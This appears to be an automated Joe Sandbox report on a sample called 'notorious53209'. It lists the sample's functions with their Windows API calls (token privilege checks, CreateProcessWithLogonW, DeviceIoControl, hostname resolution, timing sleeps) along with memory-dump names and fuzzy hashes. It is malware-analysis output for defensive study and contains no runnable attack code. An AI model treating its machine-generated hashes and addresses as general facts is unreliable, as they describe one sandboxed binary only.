Part of subcall function 00288652: RtlAllocateHeap.NTDLL(00000000,?,TokenIntegrityLevel), ref: 00288689
Part of subcall function 00288652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0028869F

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00288BEB
_memcmp.LIBCMT ref: 00288C0E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00288C44
HeapFree.KERNEL32(00000000), ref: 00288C4B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocateErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 2182266621-0
Opcode ID: ba05c682580c430fa3f1d5fc7c98ac5aa81eceeccc60f2c7f03694cc182712c7
Instruction ID: bceb22e70309eaf6b60c97f3a46765e86d53e15edb0c522c2469dcd3d9a21375
Opcode Fuzzy Hash: ba05c682580c430fa3f1d5fc7c98ac5aa81eceeccc60f2c7f03694cc182712c7
Instruction Fuzzy Hash: E821A171D12209EFCB04EF94C948BEEB7F8EF44344F48405AE454A7281DB30AE15CB60

Function 00250BD0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00250BF2

Part of subcall function 00235B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00297B20,?,?,00000000), ref: 00235B8C
Part of subcall function 00235B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00297B20,?,?,00000000,?,?), ref: 00235BB0

_fprintf.LIBCMT ref: 00250C29
OutputDebugStringW.KERNEL32(?), ref: 00286331

Part of subcall function 00254CDA: _flsall.LIBCMT ref: 00254CF3

__setmode.LIBCMT ref: 00250C5E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: dee6e3b79d832d30b687f5570d9aa6ad0dea02d32e428d99614b7a3171cbdd6f
Instruction ID: fb69c97d8af3096bb4d9a6f49e619e89b7e5db8ff3e1beab4dc8f4d4953021a7
Opcode Fuzzy Hash: dee6e3b79d832d30b687f5570d9aa6ad0dea02d32e428d99614b7a3171cbdd6f
Instruction Fuzzy Hash: 60116A729242047FCB0477B4AC879BEBB689F42322F14011AF904572C2DE700DF99B99

Function 0028E1AF Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0028F5AD: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0028E1C4,?,?,?,0028EFB7,00000000,000000EF,00000119,?,?), ref: 0028F5BC
Part of subcall function 0028F5AD: lstrcpyW.KERNEL32(00000000,?), ref: 0028F5E2
Part of subcall function 0028F5AD: lstrcmpiW.KERNEL32(00000000,?,0028E1C4,?,?,?,0028EFB7,00000000,000000EF,00000119,?,?), ref: 0028F613

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0028EFB7,00000000,000000EF,00000119,?,?,00000000), ref: 0028E1DD
lstrcpyW.KERNEL32(00000000,?), ref: 0028E203
lstrcmpiW.KERNEL32(00000002,cdecl,?,0028EFB7,00000000,000000EF,00000119,?,?,00000000), ref: 0028E237

Strings

cdecl, xrefs: 0028E22E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: ccfc9cdf0ab7eab8e6ceca2fdf9af51e6376d80dcc6f74691893a3898f6e2726
Instruction ID: d9d1f61ced84609b96a93a6feb4486e23a662ae40332c1f5fc1d73e302842a0c
Opcode Fuzzy Hash: ccfc9cdf0ab7eab8e6ceca2fdf9af51e6376d80dcc6f74691893a3898f6e2726
Instruction Fuzzy Hash: F911813A121345EFCF25AF68DC4997A77A8FF85350B41812AEC06CB2A4EB7198619790

Function 00265332 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00265351

Part of subcall function 0025594C: __FF_MSGBANNER.LIBCMT ref: 00255963
Part of subcall function 0025594C: __NMSG_WRITE.LIBCMT ref: 0025596A
Part of subcall function 0025594C: RtlAllocateHeap.NTDLL(00B70000,00000000,00000001), ref: 0025598F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 1b9acf41d3bb3309efacfc9fd22e0d25ed47cad54a8459923ccaf64a6d4be986
Instruction ID: e073af448d8bb3a8da882f3cf0b465014aa56542ca3a297155336603951014c6
Opcode Fuzzy Hash: 1b9acf41d3bb3309efacfc9fd22e0d25ed47cad54a8459923ccaf64a6d4be986
Instruction Fuzzy Hash: F9112732525A26AFCB202F74EC4561E37E45F00BE1F1005A9FC04AA291DEF089F0CB94

Function 00234531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00234560

Part of subcall function 0023410D: _memset.LIBCMT ref: 0023418D
Part of subcall function 0023410D: _wcscpy.LIBCMT ref: 002341E1
Part of subcall function 0023410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002341F1

KillTimer.USER32(?,00000001), ref: 002345B5
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 002345C4
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0026D6CE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: a7072c30076c2fd2d80d722109cc1d2b87374cf3e6ddcc63a866b4abbd87d306
Instruction ID: a4ead2ae85be1dc401b2c9d5b7da95423fd7a5b480af784b92bb54688a60a164
Opcode Fuzzy Hash: a7072c30076c2fd2d80d722109cc1d2b87374cf3e6ddcc63a866b4abbd87d306
Instruction Fuzzy Hash: 8621B6B09147889BE7329B24EC59BE7BBEC9B11304F04009EE69E56181C7B46A949B51

Function 002940B1 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 002940D1
_memset.LIBCMT ref: 002940F2
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00294144
CloseHandle.KERNEL32(00000000), ref: 0029414D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 0c37415db4f7da6ce58db1c1180dccc25f7be3118d8c67f60469f0ac9e7c0a2a
Instruction ID: cc4e29054aabf262fad187df61710d70c791ea0647a9071782d54f9d4f3420be
Opcode Fuzzy Hash: 0c37415db4f7da6ce58db1c1180dccc25f7be3118d8c67f60469f0ac9e7c0a2a
Instruction Fuzzy Hash: 3A11CD75D113287AD7309BA5AC4DFABBB7CEF44760F104696F908D7180D6744E84CBA4

Function 00288AF9 Relevance: 6.1, APIs: 4, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00288B2A
OpenProcessToken.ADVAPI32(00000000), ref: 00288B31
CloseHandle.KERNEL32(00000004), ref: 00288B4B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00288B7A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Process$CloseCreateCurrentHandleLogonOpenTokenWith
String ID:
API String ID: 2621361867-0
Opcode ID: 1fbc7bb91887ddc4b5fbd94c746cc4fe00c2b888237737495d2a47471d787062
Instruction ID: c1abceb9b5ec0319e51628a64b2882300e3a1b4bbb7fc74e8d749f87bb6c2889
Opcode Fuzzy Hash: 1fbc7bb91887ddc4b5fbd94c746cc4fe00c2b888237737495d2a47471d787062
Instruction Fuzzy Hash: A11160B650120EABDF019F94ED49FDE7BA9EF48308F044164FE04E21A0C7718D60EB60

Function 002A667C Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00235B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00297B20,?,?,00000000), ref: 00235B8C
Part of subcall function 00235B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00297B20,?,?,00000000,?,?), ref: 00235BB0

gethostbyname.WS2_32(?), ref: 002A66AC
WSAGetLastError.WS2_32(00000000), ref: 002A66B7
_memmove.LIBCMT ref: 002A66E4
inet_ntoa.WS2_32(?), ref: 002A66EF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: a19fb83b171a8fcd24c6406194ff695a04f81039be248e7f04b24b5bcc3d9bdd
Instruction ID: 03ded3a7e41060ee34cc3cd50a1e19a382e74d67cc020881ae2847fc26b354c1
Opcode Fuzzy Hash: a19fb83b171a8fcd24c6406194ff695a04f81039be248e7f04b24b5bcc3d9bdd
Instruction Fuzzy Hash: 7C118E75520508AFCB00FBA4DD8ADEEB7B8AF09310B044165F506A72A1DF30AF64CF61

Function 00289023 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00289043
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00289055
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0028906B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00289086

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0d2cb489deda4a0c0991f894e440ebec8b59321e69019ee80fa369582cb35470
Instruction ID: bf387611be4674794afc4104dd0439b905d73b09b1cec8ac7a650542b5830c7c
Opcode Fuzzy Hash: 0d2cb489deda4a0c0991f894e440ebec8b59321e69019ee80fa369582cb35470
Instruction Fuzzy Hash: 11115E79901218FFDB10DFA5CD84EADBBB8FB48310F204095E904B7290D6726E60DB90

Function 00291652 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,002901FD,?,00291250,?,00008000), ref: 0029166F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,002901FD,?,00291250,?,00008000), ref: 00291694
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,002901FD,?,00291250,?,00008000), ref: 0029169E
Sleep.KERNEL32(?,?,?,?,?,?,?,002901FD,?,00291250,?,00008000), ref: 002916D1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 9e848c84688c0f3f97aa328dd4b3fd484d4856e9af70b6d68c3dbd17d3c976bb
Instruction ID: 558647c8638898a387c828a0c1de643d5671a4fa0740b067ee953035a77909a9
Opcode Fuzzy Hash: 9e848c84688c0f3f97aa328dd4b3fd484d4856e9af70b6d68c3dbd17d3c976bb
Instruction Fuzzy Hash: 73115A31C2051ED7CF009FAAED88AEEBB78FF09741F054555E944B6240CB7055708B96

Function 00267207 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0026722B

Part of subcall function 00267912: __fltout2.LIBCMT ref: 0026793B

__cftog_l.LIBCMT ref: 00267251
__cftoe_l.LIBCMT ref: 00267283

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 4815c4054db04c7e9b2961252ae99cc5563affe2a26110f9838eb1e26b2b20ff
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: B1014C3606814ABBCF125F94EC218EE3F62BF69359F588615FE1858031D237C9B5AB81

Function 002BB57F Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 002BB59E
ScreenToClient.USER32(?,?), ref: 002BB5B6
ScreenToClient.USER32(?,?), ref: 002BB5DA
InvalidateRect.USER32(?,?,?), ref: 002BB5F5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 3059a1a6f0779ab9ac04871bbaf265d31adf61fc355aebe802eb09c58531c13f
Instruction ID: deee7ebf2c1b2a0b58c461acc6e1f3eef6dfa1a3978e86bb8b29c1e90a1446d5
Opcode Fuzzy Hash: 3059a1a6f0779ab9ac04871bbaf265d31adf61fc355aebe802eb09c58531c13f
Instruction Fuzzy Hash: 7A1166B5D00209EFDB41CF99D9449EEFBB9FB18310F108166E954E3220D731AA618F51

Function 002BB8EF Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002BB8FE
_memset.LIBCMT ref: 002BB90D
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,002F7F20,002F7F64), ref: 002BB93C
CloseHandle.KERNEL32 ref: 002BB94E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: a67b7a1d1757e65160a053c4c1ccac5d9dbca3ab2ef4b893e35d3cc9a98f148f
Instruction ID: 26280d58c99eea32dcb99d9bd519f65c9856ecaae2405abe0e022d4c92af3d2c
Opcode Fuzzy Hash: a67b7a1d1757e65160a053c4c1ccac5d9dbca3ab2ef4b893e35d3cc9a98f148f
Instruction Fuzzy Hash: 9AF082B25543047BF2106B61BC0AFBB7A9CEB083E4F000171FB08D5692D7718D20CBA8

Function 00296E7C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00296E88

Part of subcall function 0029794E: _memset.LIBCMT ref: 00297983

_memmove.LIBCMT ref: 00296EAB
_memset.LIBCMT ref: 00296EB8
RtlLeaveCriticalSection.NTDLL(?), ref: 00296EC8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 3343a52defc9c7a33c8a036ec4fa08b3984b83cae43dcf253ecdf1a1f91860b7
Instruction ID: 88e60378386115c434722b641437d8827d922dd7318b8f3e50090cfa39143cc4
Opcode Fuzzy Hash: 3343a52defc9c7a33c8a036ec4fa08b3984b83cae43dcf253ecdf1a1f91860b7
Instruction Fuzzy Hash: 28F0543A200210BBCF416F55EC85A4ABB29EF45361B048061FE085E256C731E921CFB4

Function 002BC00C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 002312F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000), ref: 0023134D
Part of subcall function 002312F3: SelectObject.GDI32(?,00000000), ref: 0023135C
Part of subcall function 002312F3: BeginPath.GDI32(?), ref: 00231373
Part of subcall function 002312F3: SelectObject.GDI32(?,00000000), ref: 0023139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 002BC030
LineTo.GDI32(00000000,?,?), ref: 002BC03D
EndPath.GDI32(00000000), ref: 002BC04D
StrokePath.GDI32(00000000), ref: 002BC05B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

